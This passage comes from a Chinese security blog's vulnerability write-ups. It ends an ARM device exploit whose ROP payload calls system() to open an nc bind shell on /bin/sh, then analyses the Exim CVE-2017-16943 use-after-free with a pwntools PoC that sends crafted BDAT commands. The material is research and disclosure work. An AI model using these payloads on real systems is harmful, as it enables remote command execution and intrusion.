class="pln"> </span><span class="com"># gadget1</span></code></li><li class="L6"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x80</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> stack_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 栈中命令参数地址</span></code></li><li class="L7"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="lit">0x00016aa4</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># gadget2</span></code></li><li class="L8"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0x8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># padding</span></code></li><li class="L9"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> p32</span><span class="pun">(</span><span class="pln">libc_elf</span><span class="pun">.</span><span class="pln">symbols</span><span class="pun">[</span><span class="str">'system'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> libc_base</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 内存中 system() 函数地址</span></code></li><li class="L0"><code><span class="pln">payload </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="str">'pwd;'</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">0x100</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="str">'nc\x20-lp2222\x20-e/bin/sh\x20>'</span><span class="pun">)</span><span class="pln"> </span><span class="com"># 命令参数</span></code></li><li class="L1"><code></code></li><li class="L2"><code></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">payload </span><span class="pun">=</span><span class="pln"> </span><span class="str">'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n" | nc -v 192.168.2.2 80'</span><span class="pun">.</span><span class="pln">format</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">)</span></code></li></ol>通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。
可以看到,开启了
NX
保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后return2libC
调用系统函数,就可以执行任意命令了。已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。
致谢
第一次接触
ARM
汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。参考链接
- https://www.seebug.org/vuldb/ssvid-96866/https://www.seebug.org/vuldb/ssvid-96866
- http://seclists.org/fulldisclosure/2017/Nov/31/http://seclists.org/fulldisclosure/2017/Nov/31
- https://paper.seebug.org/271/
- https://paper.seebug.org/272/
- http://0x48.pw/2016/11/03/0x26/
- http://www.freebuf.com/articles/terminal/107276.html
-
CVE-2017-16943 Exim UAF漏洞分析–后续
上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究
重新复现漏洞
比上一篇分析中复现的步骤,只需要多一步,注释了
/usr/exim/configure
文件中的control = dkim_disable_verify
然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip
分析特殊配置下的触发流程
在代码中有一个变量是
dkim_disable_verify
, 在设置后会变成true
,所以注释掉的情况下,就为默认值false
, 然后再看看receive.c
中的代码:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="pln">BOOL</span></code></li><li class="L1"><code class="lang-c"><span class="pln">receive_msg</span><span class="pun">(</span><span class="pln">BOOL extract_recip</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1733</span><span class="pun">:</span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">smtp_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">smtp_batched_input </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">dkim_disable_verify</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1734</span><span class="pun">:</span><span class="pln"> dkim_exim_verify_init</span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun"><=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1735</span><span class="pun">:#</span><span class="pln">endif</span></code></li></ol>进入了
dkim_exim_verify_init
函数,之后的大致流程:1<ol class="linenums"><li class="L0"><code><span class="pln">dkim_exim_verify_init </span><span class="pun">-></span><span class="pln"> pdkim_init_verify </span><span class="pun">-></span><span class="pln"> ctx</span><span class="pun">-></span><span class="pln">linebuf </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">PDKIM_MAX_BODY_LINE_LEN</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">bdat_getc </span><span class="pun">-></span><span class="pln"> smtp_getc </span><span class="pun">-></span><span class="pln"> smtp_refill </span><span class="pun">-></span><span class="pln"> dkim_exim_verify_feed </span><span class="pun">-></span><span class="pln"> pdkim_feed </span><span class="pun">-></span><span class="pln"> string_catn </span><span class="pun">-></span><span class="pln"> string_get </span><span class="pun">-></span><span class="pln"> store_get</span><span class="pun">(</span><span class="lit">0x64</span><span class="pun">)</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#define</span><span class="pln"> PDKIM_MAX_BODY_LINE_LEN </span><span class="lit">16384</span><span class="pln"> </span><span class="com">//0x4000</span></code></li></ol>在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。
在注释了dkim的配置后,在
dkim_exim_verify_init
函数的流程中,执行了一个store_get
函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init
函数和dkim_exim_verify_feed
函数中,都有如下的代码:1<ol class="linenums"><li class="L0"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> POOL_PERM</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln">store_pool </span><span class="pun">=</span><span class="pln"> dkim_verify_oldpool</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">---------------</span></code></li><li class="L4"><code><span class="kwd">enum</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> POOL_MAIN</span><span class="pun">,</span><span class="pln"> POOL_PERM</span><span class="pun">,</span><span class="pln"> POOL_SEARCH </span><span class="pun">};</span></code></li></ol>store_pool
全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool
不同时,相当于对堆进行了隔离,不会影响receive_msg
函数中使用堆管理时的current_block
这类的堆管理全局变量当dkim相关的代码执行结束后,还把
store_pool
恢复回去了因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后
yield_length
全局变量的值变为了0,导致了之后store_get(0x64)
再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)默认配置情况下复现漏洞
在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。
在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。
其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析
1<ol class="linenums"><li class="L0"><code><span class="com">// daemon.c</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="lit">137</span><span class="pln"> </span><span class="kwd">static</span><span class="pln"> </span><span class="kwd">void</span></code></li><li class="L3"><code><span class="lit">138</span><span class="pln"> handle_smtp_call</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> </span><span class="pun">*</span><span class="pln">listen_sockets</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> listen_socket_count</span><span class="pun">,</span></code></li><li class="L4"><code><span class="lit">139</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> accept_socket</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">struct</span><span class="pln"> sockaddr </span><span class="pun">*</span><span class="pln">accepted</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">140</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pun">......</span></code></li><li class="L7"><code><span class="lit">348</span><span class="pln"> pid </span><span class="pun">=</span><span class="pln"> fork</span><span class="pun">();</span></code></li><li class="L8"><code><span class="lit">352</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">pid </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="lit">353</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pun">......</span></code></li><li class="L1"><code><span class="lit">504</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">rc </span><span class="pun">=</span><span class="pln"> smtp_setup_msg</span><span class="pun">())</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">505</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="lit">506</span><span class="pln"> BOOL ok </span><span class="pun">=</span><span class="pln"> receive_msg</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pun">......</span></code></li></ol>首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,
smtp_setup_msg
函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length
的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg
这时候我们发送一个命令
BDAT 16356
然后有几个比较重要的操作:
1<ol class="linenums"><li class="L0"><code><span class="lit">5085</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="lit">5093</span><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="lit">5100</span><span class="pln"> lwr_receive_getc </span><span class="pun">=</span><span class="pln"> receive_getc</span><span class="pun">;</span></code></li><li class="L3"><code><span class="lit">5101</span><span class="pln"> lwr_receive_getbuf </span><span class="pun">=</span><span class="pln"> receive_getbuf</span><span class="pun">;</span></code></li><li class="L4"><code><span class="lit">5102</span><span class="pln"> lwr_receive_ungetc </span><span class="pun">=</span><span class="pln"> receive_ungetc</span><span class="pun">;</span></code></li><li class="L5"><code><span class="lit">5104</span><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="lit">5105</span><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li></ol>首先是把输入的16356赋值给
chunking_data_left
然后把
receive_getc
换成bdat_getc
函数再做完这些的操作后,进入了
receive_msg
函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1然后进入
receive_getc=bdat_getc
读取数据:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">534</span><span class="pln"> </span><span class="typ">int</span></code></li><li class="L1"><code class="lang-c"><span class="lit">535</span><span class="pln"> bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code class="lang-c"><span class="lit">536</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code class="lang-c"><span class="pun">......</span></code></li><li class="L4"><code class="lang-c"><span class="lit">546</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-c"><span class="lit">547</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li></ol>lwr_receive_getc=smtp_getc
通过该函数获取16356个字符串首先,我们发送16352个a作为padding,然后执行了下面这流程:
- store_extend return 0 -> store_get -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送
:\r\n
,进入下面的代码分支:1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">1902</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-c"><span class="lit">1903</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code class="lang-c"><span class="lit">1904</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">1905</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ch </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-c"><span class="lit">1906</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-c"><span class="lit">1907</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">first_line_ended_crlf </span><span class="pun">==</span><span class="pln"> TRUE_UNSET</span><span class="pun">)</span><span class="pln"> first_line_ended_crlf </span><span class="pun">=</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">1908</span><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> EOL</span><span class="pun">;</span></code></li><li class="L7"><code class="lang-c"><span class="lit">1909</span><span class="pln"> </span><span class="pun">}</span></code></li></ol>跳到了EOL,最重要的是最后几行代码:
1<ol class="linenums"><li class="L0"><code class="lang-c"><span class="lit">2215</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code class="lang-c"><span class="lit">2216</span><span class="pln"> next </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="kwd">sizeof</span><span class="pun">(</span><span class="pln">header_line</span><span class="pun">));</span></code></li><li class="L2"><code class="lang-c"><span class="lit">2217</span><span class="pln"> next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-c"><span class="lit">2218</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code class="lang-c"><span class="lit">2219</span><span class="pln"> had_zero </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code class="lang-c"><span class="lit">2220</span><span class="pln"> prevlines_length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L6"><code class="lang-c"><span class="lit">2221</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="com">/* Continue, starting to read the next header */</span></code></li></ol>把一些变量重新进行了初始化,因为之前因为padding执行了
store_get(0x4000)
,所以这个时候yield_length=0
这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text
使用,大小0x4010,未释放的堆。之后流程的原理其实跟之前的差不多,PoC如下:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">r </span><span class="pun">=</span><span class="pln"> remote</span><span class="pun">(</span><span class="str">'localhost'</span><span class="pun">,</span><span class="pln"> </span><span class="lit">25</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"EHLO test"</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">"250 HELP"</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"MAIL FROM:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"RCPT TO:<test@localhost>"</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvline</span><span class="pun">()</span></code></li><li class="L9"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">*</span><span class="lit">0x1300</span><span class="pun">+</span><span class="str">'\x7f'</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="com"># raw_input()</span></code></li><li class="L2"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L3"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'BDAT 16356'</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"a"</span><span class="pun">*</span><span class="lit">16352</span><span class="pun">+</span><span class="str">':\r'</span><span class="pun">)</span></code></li><li class="L5"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">'aBDAT \x7f'</span><span class="pun">)</span></code></li><li class="L6"><code class="lang-python"><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xabcdef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L7"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li><li class="L8"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">recvuntil</span><span class="pun">(</span><span class="str">'command'</span><span class="pun">)</span></code></li><li class="L9"><code class="lang-python"><span class="com">#raw_input()</span></code></li><li class="L0"><code class="lang-python"><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="str">'\n'</span><span class="pun">)</span></code></li></ol>exp
根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到
expand_string
函数来执行命令,正好我最近也在研究ctf中的_IO_FILE
的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:参考链接
-
CVE-2017-16943 Exim UAF漏洞分析
感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_bug.cgi?id=2199,这周我对该漏洞进行应急复现,却发现,貌似利用meh提供的PoC并不能成功利用UAF漏洞造成crash
漏洞复现
首先进行漏洞复现
环境搭建
复现环境:ubuntu 16.04 server
1<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com"># 从github上拉取源码</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b</span></code></li><li class="L4"><code class="lang-bash"><span class="com"># 安装相关依赖</span></code></li><li class="L5"><code class="lang-bash"><span class="pln">$ apt install libdb</span><span class="pun">-</span><span class="pln">dev libpcre3</span><span class="pun">-</span><span class="pln">dev</span></code></li><li class="L6"><code class="lang-bash"><span class="com"># 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录</span></code></li><li class="L7"><code class="lang-bash"><span class="pln">$ cd src</span></code></li><li class="L8"><code class="lang-bash"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li><li class="L9"><code class="lang-bash"><span class="pln">$ cd </span><span class="typ">Local</span></code></li><li class="L0"><code class="lang-bash"><span class="pln">$ wget </span><span class="str">"https://bugs.exim.org/attachment.cgi?id=1051"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">O </span><span class="typ">Makefile</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ cd </span><span class="pun">..</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ make </span><span class="pun">&&</span><span class="pln"> make install</span></code></li></ol>然后再修改下配置文件
/etc/exim/configure
文件的第364行,把accept hosts = :
修改成accept hosts = *
PoC测试
从https://bugs.exim.org/attachment.cgi?id=1050获取到meh的debug信息,得知启动参数:
1<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">d</span><span class="pun">+</span><span class="pln">all</span></code></li></ol>PoC有两个:
需要先安装下pwntools,直接用pip装就好了,两个PoC的区别其实就是padding的长度不同而已
然后就使用PoC进行测试,发现几个问题:
- 我的debug信息在最后一部分和meh提供的不一样
- 虽然触发了crash,但是并不是UAF导致的crash
debug信息不同点比较:
1<ol class="linenums"><li class="L0"><code><span class="com"># 我的debug信息</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> host </span><span class="kwd">in</span><span class="pln"> ignore_fromline_hosts</span><span class="pun">?</span><span class="pln"> </span><span class="kwd">no</span><span class="pln"> </span><span class="pun">(</span><span class="pln">option unset</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> received</span><span class="pun">:</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L4"><code><span class="pun">...一堆不可显字符</span></code></li><li class="L5"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> after rewriting </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">local</span><span class="pln"> additions</span><span class="pun">:</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L0"><code><span class="pun">......一堆不可显字符</span></code></li><li class="L1"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> </span><span class="typ">Data</span><span class="pln"> file name</span><span class="pun">:</span><span class="pln"> </span><span class="str">/var/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span><span class="com">//input//1eKcjF-00028V-5Y-D</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln"> </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span 